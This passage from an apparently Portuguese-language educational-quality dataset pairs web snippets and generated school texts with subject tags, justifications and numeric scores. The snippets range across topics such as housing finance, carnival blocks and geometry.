de financiamento é destinado para clientes que já possuem a escritura definitiva do terreno (lote urbanizado) e desejam construir o seu imóvel nele. +Reforma e/ou Ampliação: muitos não sabem, mas é possível financiar também a sua reforma por meio de crédito da Caixa Econômica Federal. Basta possuir a escritura definitiva do imóvel e a aprovação do financiamento. +Apesar de ser um dinheiro seu, para usar o FGTS na aquisição do seu imóvel é preciso cumprir algumas condições impostas pelo Conselho Curador do FGTS. Para saber que regras e condições são essas, basta continuar lendo. +Começando pelo trabalhador, é imprescindível que este tenha, no mínimo, três anos de registro em carteira. Na mesma empresa ou empresas diferentes. Além disso, o trabalhador não pode possuir nenhum financiamento ativo no SFH. +Por último, o trabalhador não pode ser proprietário, promitente comprador, usufrutuário, ou cessionário de qualquer outro imóvel. +Sobre as regras do imóvel, primeiro ele deve ser residencial urbano. Ou seja, não deve possuir fins empresariais e deve possuir saneamento básico.Também é imprescindível que o imóvel esteja registrado no Cartório de Registro de Imóveis e seu valor deve estar incluso dentro das normas do SFH. +Outro ponto diz respeito à localização. O imóvel deve estar localizado no mesmo município onde o trabalhador exerce sua ocupação principal. Apesar da regra geral se referir a mesmo municípi...",original,original,original,original,2,0.4 +"(Atualização 2) Problemas no serviço da Vodafone? +(Atualização 2) – Curiosamente, depois do falso alarme, parece que a Vodafone está mesmo com problemas com a Internet Fixa e rede móvel. É um dos visados? +(Atualização) – Afinal, a Vodafone não está a passar por qualquer constrangimento nos seus serviços, conforme foi confirmado pela própria operadora. +O que se está a passar, é que os clientes da empresa estão a tentar contactar utilizadores NOS e não estão a conseguir, graças aos problemas atuais da empresa rival. O que claro está, se traduziu num aumento dos problemas no site DownDetector. +Eis o artigo original. Vodafone sem Internet! – Aparentemente, existem problemas no fornecimento de Internet, na infraestrutura da gigante multinacional! Dito isto, a maioria das queixas parecem vir da zona de Lisboa, mas é possível que existam constrangimentos noutras zonas do país. +Hoje, dia 22 de Outubro de 2019, a Vodafone parece estar com dificuldades no fornecimento de rede móvel. +Aparentemente, desta vez, o problema nos serviços, estende-se tanto à rede móvel, como à rede fixa (Vodafone Casa).",original,original,original,original,1,0.2 +" Vertentes PE | Candidatos a Vereador em 2012 – Últimas Noticias | Pagina 1 - Lista/Relação de Candidatos às Câmaras Municipais +Eleições Municipais 2012 - Poder Legislativo - VERTENTES - PE +Candidatos a vereador 2012 em VERTENTES-PE +MARCONE [ELEITO POR QP] PTB/14555 1.156 +ZÉ IVANILDO [ELEITO POR QP] PMDB/15123 1.002 +DONA SANTA [ELEITO POR QP] PSDB/45612 958 +PEDRO PANELA [ELEITO POR QP] PSDB/45622 839 +GILSON DA LAVANDERIA [ELEITO POR QP] PTB/14123 674 +CASTANHA [ELEITO POR QP] PSDB/45655 661 +LUIZINHO [ELEITO POR QP] PSD/55678 607 +POLLYANE [ELEITO POR QP] DEM/25555 568 +NATAL [ELEITO POR MÉDIA] PTB/14333 454 +CREUZINHA [SUPLENTE] PSDB/45667 521 +BETO GERMANO [SUPLENTE] PT/13123 405 +HIGO ENFERMEIRO [SUPLENTE] PSDB/45677 384 +PEDRINHO BARBOSA [SUPLENTE] PTB/14567 382 +LOURDES DE NOVINHA [SUPLENTE] PTB/14444 381 +DIDA DE ELDA [SUPLENTE] PMDB/15555 290 +PIETRA [SUPLENTE] PR/22345 278 +LENIVALDO [SUPLENTE] PMDB/15789 264 +IRMÃO ASSIS [SUPLENTE] PTB/14777 228 +PEDRO GONÇALO [SUPLENTE] PR/22123 208 +DEDÉ PATRICIO [SUPLENTE] PDT/12345 203 +ABILIO DO SINDICATO [SUPLENTE] PTB/14678 197 +PAULA DO SALÃO [SUPLENTE] PSDB/45645 190 +IRMà NANERY [SUPLENTE] PTB/14234 115 +OSEAS LEAL [SUPLENTE] PTB/14111 83 +BIU GONÇALO [SUPLENTE] PT/13456 78 +RICARDO ALEXANDRE [SUPLENTE] PT/13100 75 +LENILDO MECÂNICO [SUPLENTE] PSDB/45623 69 +ZÉ DO LEITE [SUPLENTE] PDT/12222 56 +JOELMA GOMES [SUPLENTE] PR/22222 56 +ELIANE DO CARUÁ [SUPLENTE] PT/13333 28 +VIVANE SANTOS [PREJUDICADO] DEM/25943 +TAVARES DA CELPE [PREJUDICADO] PT/13111 +GILVAN PEDROSA [PREJUDICADO] DEM/25444 +Candidatos a vereador |2016| em VERTENTES +Candidatos a vereador |2012| em VERTENTES +Candidatos a vereador |2008| em VERTENTES +Candidatos a vereador |2004| VERTENTES",original,original,original,original,1,0.2 +"Para você professor que deseja elaborar atividades didáticas online e começar a utilizar o ambiente e-Aulas USP e e-Disciplinas da USP, Sugerimos acessar um tutorial contendo as informações e orientações para te auxiliar em todas as etapas do processo de elaboração até a divulgação final. +Ajuda ao estudante: +A grande maioria das videoaulas disponíveis no eAulas USP está aberta a todas as pessoas para acesso livre. +Para acessar e assistir as videoaulas, basta que o estudante navegue pelas opções disponíveis na home-page do eAulas, lá estão disponíveis botões que levarão os estudantes aos conteúdos desejados, organizados por critérios como: +- Área de conhecimento (Exatas, Humanidades, e Biológicas) e Nível acadêmico (Ensino Médio, Graduação, Pós-Graduação, Cultura e Extensão, e Pesquisa). +Além disso, também existe a opção da busca por palavra-chave (canto superior direito). Lá é possível pesquisar em todo o acervo disponível no eAulas USP sobre o termo desejado. +Importante destaque: existem também videoaulas que aparecerão nos resultados das pesquisas, mas que eventualmente estejam em condição de acesso restrito. +Como funciona o acesso restrito? +As videoaulas estão publicadas dentro de alguma destas 3 opções determinadas pelo professor: +- Acesso totalmente liberado (sem necessidade de cadastro nem login); +- Acesso por meio de login na plataforma e-Aulas (seja aluno USP ou público externo, desde que cadastrado e logado no e-Aulas USP). Poderá aparecer o lembrete na tela: - É necessário fazer login para visualizar este vídeo. +- Acesso exclusivo para alunos da USP matriculados na disciplina. Poderá aparecer o lembrete na tela: - É necessário ser aluno USP matriculado na disciplina e estar autenticado com sua senha única da USP na plataforma. +Ajuda técnica: problemas de acesso e/ou visualização de videoaulas: +Eventuais mensagens de erro na região de visualização da videoaula, lentidão no carregamento e/ou travamentos na reprodução de vídeo, recomendamos: +Executar: o procedimento de limpeza de cache em seu navegador e/ou executar o procedimento de redefinição de parâmetros em seu navegador. Também é válido utilizar outro navegador disponível em sua máquina e, até mesmo, utilizar outro dispositivo/equipamento que esteja ao seu alcance. +Mas, se você executou todos estes procedimentos e, ainda assim, não consegue visualizar nenhuma videoaula, por favor, entrar em contato por meio de formulário na página de contato e nos descrever brevemente o seu problema. Se possível, informar tais dados:",original,original,original,original,2,0.4 +"« Primeiro brasileiro a cruzar a África de bicicleta lança livro em São Paulo +Aracaju (SE) é a primeira colocada em ranking de cidades cicloamigas de 2014 » +Com ciclovias, cada vez mais pessoas trocam +carro e transporte público pela bicicleta em São Paulo +Com a avenida aberta às pessoas, a festa de inauguração da Ciclovia da Paulista atraiu cerca de 50 mil pessoas (veja em vídeo e fotos). Havia até gente de outras cidades e outros estados, que perceberam que se tratava de um momento histórico na mobilidade por bicicletas do Brasil e se sentiram parte dessa conquista. +E era de se esperar: em março, quando uma ação do Ministério Público Estadual de São Paulo tentava barrar a construção de todas as outras ciclovias da cidades, com o pedido inclusive de que a obra em andamento na Paulista fosse desfeita, irmãos de pedal de todo o país se uniram para protestar contra a arbitrariedade, que representaria um retrocesso gigantesco tanto em termos de política cicloviária quanto de proteção à vida. +Essa conquista é, merecidamente, de todos, não só dos paulistanos. A implantação dessa estrutura, em uma avenida de grande visibilidade e com histórico de várias mortes de ciclistas, é considerada um divisor de águas na bicimobilidade brasileira, pois escancara a demanda (atual e reprimida), com cidadãos circulando ininterruptamente de bicicleta em uma das avenidas mais famosas do país. +A ciclovia da Avenida Paulista ajuda muita gente que pedala na cidade. Foi desejada e esperada por muitos anos pelos cidadãos que utilizam bicicleta em São Paulo. Seu uso superou em muto as expectativas dos críticos em poucos meses, principalmente com a criação das conexões que agora a alimentam (Pacaembu, Rafael de Barros, 13 de maio). +Ao contrário do que pensam os que a consideraram “um delírio autoritário” do então prefeito, Fernando Haddad, a ciclovia na avenida símbolo da cidade era uma demanda antiga dos ciclistas de São Paulo e é considerada uma das maiores conquistas do cicloativismo paulistano. A via já estava incluída em planos cicloviários da cidade desde, pelo menos, 2008, sem contudo ser implantada – o que mostra, mais uma vez, que planejamento sempre foi feito, o que faltava era colocar em prática alguma parte de todos esses estudos. +Foi nesta avenida que perdemos Márcia Prado, em 2009, Juliana Dias, em 2012, e Marlon Moreira de Castro, em 2014, após serem atropelados por motoristas de ônibus, além do caso de David Santos, que teve seu braço levado ao ser atropelado por um motorista embriagado e quase veio a óbito na ocasião, sendo ressuscitado por massagem cardíaca pelo estudante de Publicidade Thiago Chagas dos Santos, de 26 anos, que passava pelo local. +Não à toa, ciclistas comemoraram o início das obras, em janeiro de 2015, com uma divertida “pajelança”, com direito a champanhe (ou espumante, como queiram), sal grosso e folhas de arruda. Veja em vídeo. +Quando uma ação do Ministério Público suspendeu a implantação das ciclovias naquele ano, uma manifestação com mais de 7 mil pessoas lotou a avenida de bicicletas e foi ecoada em dezenas de cidades do Brasil e do Mundo, pedindo continuidade da implantação de ciclovias na cidade. A suspensão foi derrubada em segunda instância pelo Tribunal de Justiça de São Paulo (TJ-SP). +A Associação Paulista Viva também contestou a construção da ciclovia, alegando serem necessários “estudos mais aprofundados”, para que a intervenção pudesse “atender a todos os cidadãos de forma justa”. Entre outros questionamentos, apontou uma suposta “descaracterização da ideia de boulevard” da avenida. +Apesar da importância da estrutura ter sido destacada com unanimidade em Audiência Pública na Câmara Municipal de São Paulo, em novembro de 2014, a ação do Ministério Público Estadual, na qual a promotora Camila Mansour Magalhães da Silveira pedia interrupção da implantação das ciclovias, também exigia que a obra dessa avenida fosse interrompida – o que foi negado pela justiça, apesar da suspensão temporária dos trabalhos em out...",original,original,original,original,4,0.8 +"Livro Bhagavad Gita – capítulo 1 – A Tristeza de Arjuna – MEDITAÇÃO BRASIL – cursos gratuitos, exercícios e dicas +Cursos em: +SP +ABCD, Guarulhos e Osasco +Campinas +Curitiba +Niterói +RJ +Joinville +BH +Juiz de Fora +Lisboa +Coimbra +Porto +CURSO GRATUITO DE MEDITAÇÃO +NOVIDADES +CURSO EM VÍDEO +TEORIA +Páginas selecionadas +O despertar interior +O despertar interior +A busca da felicidade +A vida espiritual +O ensinamento silencioso +Aqui agora +Meditação para atletas +Beneficios da meditação +Como meditar corretamente +Como fazer meditação +Como saber se estou meditando bem? +DIVERSOS +Mensagens diárias +JAN – Mensagens do dia +FEV – Meditação matinal +MAR – Mensagem espiritual +ABR – Mensagens para o dia +MAI – Mensagem do dia II +JUN – Mensagem para meditar +JUL – Mensagem para meditação +AGO – Meditações diárias +SET – Meditações matinais +OUT – Meditação do dia +NOV – Mensagens diárias para meditação +DEZ – Mensagem do dia +Temas variados +O que é meditar? +Samadhi +Meditação da mulher +Yoga +Bhagavad Gita +Artigos curtos +Chakras e meditação +Mensagem de paz | poemas +Aforismos do Savitri +Hinduísmo +A árvore da vida +Contemplação +Oração e meditação +Oração e meditação +Oração da manhã, do dia e da noite +Orações poderosas +Relaxamento e meditação +Casamento espiritual +PRÁTICA +Páginas selecionadas +Curso de meditação +Para quem já fez o curso +Estabelecendo a prática diária +Meditação para iniciantes +Técnicas de meditação +Concentração +Exercícios e técnicas de concentração +Música para concentração – download +Mantras para se concentrar +Concentração – como aprender a se concentrar melhor +Música e vídeo | downloads +Meditação guiada +Exercícios de meditação guiada com qualidades espirituais +Filmes espirituais +Escolhendo um Mestre +Minicurso online +Mais temas -> +Olhos abertos ou fechados +Sonhos espirituais +Frases de meditação +Arte meditativa +Meditação é +Meditação cristã +Lista de vídeos +Musicas de yoga para download +Música para ouvir no trabalho +LIVROS +Livros inspiradores +Manual de meditação +Audiobooks +SRI CHINMOY +Sri Chinmoy +Sobre o site +RJ e + +RJ e Niterói +Curitiba +Belo Horizonte +Joinville +Curso em SP +São Paulo +Campinas +Santo André +São Bernardo +São Caetano +Contato +SMS +Se gostou, compartilhe! +Serviço de SMS +Política de privacidade +Select Page +Livro Bhagavad Gita – capítulo 1 – A Tristeza de Arjuna +by Patanga Cordeiro | May 3, 2017 | livros inspiradores e espirituais, meditações diárias matinais +do livro de Sri Chinmoy, Comentários sobre o Bhagavad Gita +A Tristeza de Arjuna +O Gita começa com as palavras Dharmakshetre Kurukshetre (Bhagavad Gita 1.1). “No campo sagrado de Kurukshetra” – essa é a tradução literal. Kshetra significa campo. Dharma é uma palavra espiritual extremamente fértil em significados. Ela quer dizer o código interior da vida; lei moral, religiosa e espiritual; fé viva na existência de Deus e na própria existência; dever pleno de alma, especialmente os previstos nas escrituras, observância devotada de qualquer casta ou secto e disposição para atender os ditames da própria alma. +A raiz em sânscrito da palavra dharma é dhri, prender. Quem nos prende? Deus. O que nos prende? A Verdade. O Dharma prevalece. Se não sempre, por fim ele deve prevalecer, pois no dharma está o próprio alento de Deus. +Duryodhana foi até Gandhari, sua mãe, na véspera da guerra, para receber suas bênçãos. ‘Tal mãe, tal filho’, dizem. Mas aqui tratamos de uma verdadeira exceção. Ela abençoou Duryodhana, dizendo: “A vitória estará onde o dharma estiver.” Isso quiz dizer que Yudhisthira, o filho do dharma, venceria a guerra. Ela tinha tal coração altruísta. E digo mais: o mundo estuda o dharma único de Gandhari na aceitação inigualável do destino de seu esposo. Deus não deu visão a Dhritarashtra. Gandhari provou sua unicidade absoluta com seu esposo cego ao vendar seus próprios olhos. Ela abraçou a cegueira, um sacrifício digno de ser lembrado e admirado pela humanidade. Ela não via o mundo exterior. Mas as bênçãos prediletas do mundo interior pairavam sobre Gandhari. +O dharma do nosso corpo é o serviço, ...",original,original,original,original,3,0.6 +"PLUGtronic | Música Eletrônica ocupa novamente as ruas de SP neste carnaval Música Eletrônica ocupa novamente as ruas de SP neste carnaval – PLUGtronic +Música Eletrônica ocupa novamente as ruas de SP neste carnaval +> 07 DE FEV 2018 +O pré-Carnaval em São Paulo já reuniu um público total de aproximadamente 4 milhões de pessoas em apenas um final de semana, segundo dados divulgados pela Prefeitura da capital. A folia de rua só cresce na capital paulista, hoje, São Paulo já é o 2º carnaval de Rua do Brasil, ficando atrás apenas do tradicional carnaval de Salvador. +As opções de blocos são inúmeras, repleto de variedade musical para agradar os foliões. Como nós somos do rolê de música eletrônica, a gente listou os blocos mais bacanas para curtimos o carnaval de SP, confira abaixo o nosso roteiro e vem pra pista. +Bloco D-Rrete 2017 +Não Fica Boba! Esta é a regra para o bloco que estreia no carnaval de SP e promete animar as ruas da cidade. +O bloco Não Fica Boba vem com uma proposta diferente, unir as mais emblemáticas músicas do pop, com música eletrônica. Os DJs tocarão versões conhecidas de pop music, remixadas em diversos estilos do universo eletrônico. +O encontro está marcado para o dia 17 de fevereiro à partir das 13hrs em frente ao Pátio do Colégio, de lá o bloco segue pelas ruas do centro até chegar na Praça da Sé. +No lineup estão os DJs Mara Borges, Patrick Sandim – que farão um back to back, Victor Leben, Mariana Casagrande, Sue e Dini – que também tocarão juntos. +Completando o time do bloco, o violinista Thiago Guerra, e a performática Drag Fátima Fast Food. +Bloco Não Fica Boba +Largo Páteo do Colégio, 2 – Centro – São Paulo +Sábado, 17 de fevereiro às 13:00 +https://www.facebook.com/events/594924834186909/ +O SP BEATS invade as ruas de São Paulo pela segunda vez consecutiva, desta vez eles vem em formato de festival de rua. +Com tema Arte Resiste, o Bloco Festival SP Beats reúne pelo Centro as principais festas da cena : Carlos Capslook, Gop Tun, Soul.set e Mamba Negra. +Na terça-feira de carnaval, 13/02, o bloco vai estar na República, a partir das 15h. Com o tema Arte Resiste, festas e artistas vanguardistas da cena eletrônica da cidade se juntam para o bloco. +O line up este ano apresenta a música eletrônica de três maneiras: uma carreta, chamada APOLO, uma pista fixa na Praça do Patriarca, e uma pista móvel que circula pelas ruas históricas em torno da praça. +Gop Tun (TYV, Gui Scott, Caio T), Carlos Capslock (Tessuto, Max Underson, Ella de Vuono), Tata Ogan, Bandida Coletivo, Mamba Negra (Cashu + Benja), Zopelar (live), SoulSet (Thiago Guiselini) +Bloco Festival SP Beat +Data: 13/02/18 (terça-feira) +Concentração: Praça da República, +Trajeto: Praça da República – Av. São Luís – Av. Xavier de Toledo – Theatro Municipal +Dispersão: Largo Paissandu +Pista Móvel Gopslock +Concentração e Dispersão: Praça do Patriarca +Trajeto: Rua São Bento > Miguel Couto > Álvares Penteado > Rua Quitanda +Link do evento: https://www.facebook.com/events/570297243306955/ +Bloco SP Beats 2017 +Após levar 50 mil pessoas para as ruas de São Paulo em 2017, o bloco de música eletrônica pioneiro em São Paulo, Unidos do BPM, também fará seu desfile na cidade em 2018. +O Unidos do BPM, [que ilustra nossa matéria com foto da última edição em 2017] foi o primeiro bloco de carnaval que levou a música eletrônica para as ruas de São Paulo. +O desfile acontece no centro da maior cidade de São Paulo, importante dizer que este ano, terá uma pequena mudança quanto ao trajeto. O bloco não parte mais da Praça Roosvelt, igual ano passado, mas da Praça da Sé. SIM, a concentração será ás 16h do dia 10 de fevereiro, no marco zero da cidade de São Paulo, no cruzamento com a Rua Venceslau Braz. Dali, um animado tour no centro velho da cidade, incluindo o Pateo do Colégio, Rua Boa Vista, Líbero Badaró e a dispersão na Praça do Patriarca. Quer coisa melhor do que curtir boa música no carnaval e ainda fazer um pequeno passeio por lugares históricos da cidade? Incrível! +O lineup traz os DJ...",original,original,original,original,1,0.2 +parabens!!! chegaste a receber a minha mensagem mariana?,original,original,original,original,0,0.0 +"Já parou para pensar que a matemática está em todo lugar? Mais especificamente, a geometria nos acompanha diariamente, mesmo quando não percebemos! Desde o formato do celular que você usa até a estrutura da sua casa, as formas geométricas são essenciais para o mundo que conhecemos. Mas, afinal, o que são essas formas e por que são tão importantes? + +A geometria é o ramo da matemática que estuda as formas, suas propriedades e as relações entre elas. Pense em um círculo: ele está presente nas rodas dos carros, nos pratos que usamos para comer e até mesmo no Sol! O círculo é uma forma geométrica plana, ou seja, está contido em um plano bidimensional. Outras formas planas incluem o quadrado, o retângulo, o triângulo e muitas outras. Cada uma delas possui características únicas, como o número de lados, ângulos e áreas. + +Mas a geometria não se limita a formas planas. Existem também as formas espaciais, ou sólidos geométricos, que possuem três dimensões: comprimento, largura e altura. Imagine uma bola de futebol: ela é uma esfera! Uma caixa de sapatos se assemelha a um paralelepípedo, e uma pirâmide do Egito é um exemplo clássico de pirâmide. Cada um desses sólidos possui volume, que é a quantidade de espaço que ocupam. + +A aplicação da geometria vai muito além da sala de aula. Arquitetos a utilizam para projetar edifícios seguros e funcionais, engenheiros a empregam para construir pontes e estradas, e designers a usam para criar objetos bonitos e práticos. Até mesmo artistas se inspiram nas formas geométricas para criar obras de arte incríveis! Por exemplo, muitos quadros famosos utilizam a proporção áurea, uma relação matemática que aparece na natureza e que confere beleza e harmonia às obras. + +Experimente observar o mundo ao seu redor com um olhar geométrico. Quais formas você consegue identificar? Como elas se relacionam entre si? Que tal tentar desenhar algumas dessas formas e calcular suas áreas e volumes? A geometria é uma ferramenta poderosa para entender o mundo e desenvolver o raciocínio lógico. Ao desvendar os segredos das formas geométricas, você estará abrindo portas para um universo de possibilidades e aprendizado!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre geometria, alinhadas ao currículo do ensino fundamental. A linguagem é acessível, introduzindo conceitos como formas planas e espaciais, e relaciona a geometria com aplicações práticas no dia a dia, como arquitetura e design. Há um incentivo à observação e experimentação, tornando o conteúdo relevante e proveitoso para fins educacionais, o que justifica a pontuação máxima.",5,1.0 +"Olá, pequenos exploradores da história! Já pararam para pensar por que comemos pamonha na Festa Junina, ou por que batucamos no Carnaval? Tudo isso faz parte das nossas tradições culturais, um conjunto de costumes e saberes que passam de geração em geração e contam a história do nosso país. + +Imagine que o Brasil é como uma grande colcha de retalhos, cada retalho com uma cor e um desenho diferente. Esses retalhos são as diversas culturas que formam o nosso país: a indígena, a africana, a europeia e muitas outras! Cada uma delas contribuiu com suas tradições, que se misturaram e transformaram, criando a nossa rica cultura brasileira. + +A música é uma forma muito especial de tradição cultural. O samba, por exemplo, é um ritmo que nasceu no Rio de Janeiro, com influência dos africanos que vieram para o Brasil. Já o baião, lá do Nordeste, tem a sanfona como instrumento principal e conta histórias do sertão. E as cantigas de roda, quem não conhece? “Ciranda, cirandinha” é uma tradição que vem de muito tempo atrás e diverte crianças de todo o Brasil. + +A culinária também é um capítulo importante das nossas tradições. A feijoada, um prato delicioso feito com feijão e carne de porco, tem origem africana. O acarajé, um bolinho frito no azeite de dendê, também é uma herança da África, muito popular na Bahia. E o chimarrão, essa bebida quente e reconfortante, é uma tradição dos gaúchos, lá do Sul do Brasil. + +As festas populares são outra forma linda de celebrar as tradições. O Carnaval, com seus desfiles e fantasias, é uma festa gigante que acontece em todo o país. A Festa Junina, com suas comidas típicas e brincadeiras, celebra a colheita e os santos populares. E o Bumba Meu Boi, uma festa folclórica que conta a história de um boi que morreu e ressuscitou, é uma tradição do Norte e Nordeste. + +Mas, e você? Qual a tradição cultural da sua família que você mais gosta? Que comida sua avó faz que te lembra da sua infância? Qual música te faz dançar e sorrir? Descobrir as nossas tradições é como abrir um baú cheio de tesouros! Cada costume, cada história, cada sabor nos conecta com o passado e nos ajuda a entender quem somos. Que tal perguntar para seus pais e avós sobre as tradições da sua família? Você vai se surpreender com as histórias incríveis que eles têm para contar! + +E lembre-se: as tradições culturais estão sempre se transformando, ganhando novos elementos e se adaptando aos tempos modernos. O importante é valorizar e respeitar a diversidade cultural do nosso país, para que possamos construir um futuro ainda mais rico e cheio de alegria.",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de tradições culturais de forma clara e envolvente, utilizando exemplos relevantes para crianças (pamonha, Carnaval). Aborda a diversidade cultural brasileira (indígena, africana, europeia), culinária, música e festas populares. Estimula a reflexão pessoal sobre as tradições familiares, incentivando a interação com pais e avós. A linguagem é acessível e o conteúdo é apropriado para o ensino fundamental, promovendo o respeito à diversidade cultural. Por tudo isso, o trecho merece a pontuação máxima.",5,1.0 +"Algumas vezes, se não várias, a falta de foco do roteiro pode arruinar um filme. Não é o caso.",original,original,original,original,0,0.0 +"Olá, exploradores da matemática! Já pararam para pensar como os números estão presentes em tudo ao nosso redor? Desde o preço daquele lanche delicioso na cantina até a contagem dos minutos para o tão esperado recreio, a matemática, especialmente os números e as operações básicas, é a ferramenta secreta que organiza o mundo. + +Vamos começar com os amigos que já conhecemos: adição, subtração, multiplicação e divisão. Imagine que você e seus amigos decidiram juntar suas economias para comprar um presente surpresa para o professor. Se cada um contribui com R$5,00 e são 6 amigos, qual o valor total arrecadado? Aqui entra a multiplicação! 6 amigos vezes R$5,00 cada, totalizando R$30,00. Viu só? Matemática na prática! + +E quando precisamos dividir uma pizza igualmente entre a galera? Se a pizza tem 8 pedaços e somos 4 pessoas, quantos pedaços cada um poderá comer? A divisão nos ajuda a resolver esse problema: 8 pedaços divididos por 4 pessoas, resultando em 2 pedaços por pessoa. Ninguém fica com fome! + +Mas a aventura não para por aí. Números negativos, frações e decimais também fazem parte desse universo fascinante. Pense na temperatura: em algumas cidades, especialmente no inverno, os termômetros marcam temperaturas abaixo de zero, os famosos números negativos. Eles nos ajudam a entender o frio! E as frações? Quando comemos metade de um bolo, estamos usando frações! ½ é uma forma de representar essa parte do todo. + +Agora, que tal um desafio? Imagine que você precisa comprar materiais escolares. A mochila custa R$85,00, o estojo R$25,00 e cada caneta R$2,50. Se você comprar 5 canetas, quanto gastará no total? Tente resolver essa questão utilizando as operações que aprendemos. + +A matemática não é apenas um conjunto de regras e fórmulas; é uma forma de pensar, de resolver problemas e de entender o mundo. Ao dominarmos os números e as operações básicas, abrimos portas para um universo de possibilidades e nos tornamos mais preparados para enfrentar os desafios do dia a dia. Então, continue explorando, perguntando e se divertindo com a matemática. O mundo está cheio de números esperando para serem descobertos!",Matemática,Números e operações básicas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir conceitos matemáticos básicos de forma lúdica e contextualizada, utilizando exemplos práticos e relevantes para o cotidiano dos alunos. A linguagem é acessível e o conteúdo é adequado para o ensino fundamental, incentivando a exploração e o aprendizado da matemática de forma divertida e interessante. Ele aborda conceitos importantes do currículo, apresenta um desafio prático e estimula o raciocínio.",5,1.0 +"Geração Benfica - Escolas de Futebol: Liga Interna SLBenfica 2010 - Classificação +Terminou a 1ª Liga Interna Escolas Futebol ""Geração Benfica"".De realçar que esta competição, tem por objectivo a participação de todos e visa, também, fazer com que todos se sintam parte deste projecto (Alunos, Pais, Treinadores,...) e que a excelente atitude positiva por parte dos dos nossos treinadores perante a competição foi fundamental para que não se criasse nos nossos alunos (e não se agudizasse nos pais dos mesmos) uma lógica muito acentuada de “campeonite”.Querer ganhar é positivo e importante mas temos de estar todos muito atentos aos princípios que regem a nossa participação. Claro que as crianças, até mais do que os adultos, querem vencer e sem dúvida que terão mais prazer e vontade de jogar se sentirem sucesso no que estão a fazer mas o sucesso não deve ser medido pelas vitórias ou derrotas mas sim pelos progressos obtidos pel criança. Cabe ao Treinador (e aos pais) incutir esse espirito nas crianças, reforçar positivamente os seus progressos e aquilo que faz bem, colocar-lhe objectivos nesse sentido (melhorar lateralidade, cooperação, atitude, percepção do jogo e as suas regras e principios,...) e nunca sobrevalorizar o resultado - vitória ou derrota.Na formação de uma criança, o resultado desportivo não pode nem deve ser prioridade! Prioritário é promover o seu correcto desenvolvimento multi-lateral (motor, pscicológico, moral, social, cognitivo,...) pois será isso que irá determinar o tipo de cidadão que essa criança representará no futuro. Obviamente que devemos acrescentar e incutir nesta formação, uma mentalidade vencedora mas sem nunca nos afastarmos do objectivo de formar. Esta mentalidade vencedora é fundamental para a criança pois para se ter sucesso na vida pessoal, profissional ou desportiva é necessário possuir uma mentalidade vencedora.A derrota tem também um papel essencial no desenvolvimento da criança pois ensina-nos a lidar com os obstáculos e com os problemas preparando-nos psicologicamente para enfrentar e superar os problemas e obstáculos que nos serão constantemente colocados, tornando-nos mais preparados e psicologicamente fortes.Queremos, mais uma vez, e acreditem que nunca é demais, agradecer:- aos nossos alunos, pelo elevado empenho, comportamento, solidariedade, dedicação, atitude e progressos demonstrados;- aos Encarregados de Educação, pelo apoio, participação e atitude demonstrados bem como por terem demonstrado alguma compreensão em relação ás limitações estruturais do Caixa Futebol Campus no que se refere às condições para quem assiste aos jogos;- aos nossos treinadores, pela dedicação e empenho, espirito de equipa, disponibilidade e altruismo demonstrados. A TODOS O NOSSO MUITO OBRIGADO! Publicada por",original,original,original,original,4,0.8 +"Agrícola. Na segunda metade do século XV, Rudolph Agricola foi uma influencia dominante na transferência do Renascimento da Itália para a Europa setentrional, e considerado um precursor do New Learning, devotio moderna, Conhecimento Novo, movimento que se desenvolveria no século seguinte com Erasmo, Vives, Vergara, Adriano VI e Melanchton, entre outros. Agricola era homem de múltiplos talentos, interessando-se desde a literatura até os estudos sobre jazidas minerais. Depois de estudar latim e Grego na Itália por dez anos, ele teve papel importante na introdução do Grego na educação alemã. Era um músico erudito e talentoso cantor. Não só construiu um órgão, como também é citado como hábil pintor. +Após retornar à Holanda em 1480, Agricola decidiu viajar mais uma vez a Heidelberg onde formaria um círculo de seguidores. +Para Agricola não poderia haver conflito entre a erudição humanista e a religião. De Formando Studio, uma carta de Agricola para seu amigo Barbirianus, expressava a crença de que as letras eram importantes para a boa conduta. O caráter era moldado e fortalecido pelo estudo dos sábios da Antigüidade. Além do seu conhecido De Re metalica, Agricola também produziu um manual de lógica muito apreciado por Melancthon. De Inventione Dialectica salientava que o sucesso do discurso depende da inteligibilidade do orador, da razão na questão, e de uma atitude favorável por parte do ouvinte. Tinha a Lógica como um instrumento de prova.",original,original,original,original,4,0.8 +"Os Frascos para Leite sao utilizados para recolher, armazenar e dar o leite ao bebe. Trocando a tampa por um bico, podem ser utilizados tambem como mamadeiras e copos de treinamento. Podem ser armazenados na geladeira ou freezer. Graduaçao de 70mL +Os Frascos para Leite são utilizados para recolher, armazenar e dar o leite ao bebê. +Trocando a tampa por um bico, podem ser utilizados também como mamadeiras e copos de treinamento. +Pode ser transportado sem preocupação de vazamentos. +Seu design moderno possui espaço próprio para anotações com caneta esferográfica para colocar como nome, data entre outras informações que podem ser removidas facilmente na higienização. +O material em silicone possui diversos benefícios como: não deforma, não quebra, superfície sem poros e completamente lisa não permitindo a formação de micro rachaduras e impedindo a formação de bactérias. +É resistente a altas e baixas temperaturas, excelente condutor térmico.",original,original,original,original,2,0.4 +"Você já se sentiu como um detetive tentando desvendar um mistério? Na matemática, resolver problemas é como ser um investigador em busca de pistas para encontrar a solução! Não se trata apenas de aplicar fórmulas, mas sim de usar a lógica, a criatividade e o conhecimento para chegar à resposta certa. Mas, como fazer isso da melhor forma? Vamos explorar juntos esse fascinante mundo da resolução de problemas. + +Imagine a seguinte situação: você e seus amigos estão planejando uma festa surpresa para um colega. Vocês precisam calcular a quantidade de salgadinhos, doces e refrigerantes para que todos se divirtam. Aqui, a matemática entra em ação! Primeiramente, é importante estimar o número de convidados. Depois, pesquisar a média de consumo por pessoa. Multiplicando esses valores, teremos uma boa ideia da quantidade necessária de cada item. Problemas como esse estão presentes no nosso dia a dia, desde o planejamento de um evento até o cálculo de gastos no supermercado. + +A chave para resolver problemas é a organização. Comece lendo o enunciado com atenção, identificando as informações importantes e o que se pede. Em seguida, pense em quais conceitos matemáticos podem te ajudar. Muitas vezes, um simples desenho ou esquema pode facilitar a visualização do problema. Por exemplo, se o problema envolve distâncias e direções, desenhar um mapa pode ser muito útil. Outra dica valiosa é decompor o problema em partes menores. Se o problema parece muito complexo, tente resolvê-lo em etapas, simplificando cada passo até chegar à solução final. + +Lembre-se que nem sempre existe apenas uma maneira correta de resolver um problema. A matemática é uma ferramenta flexível que 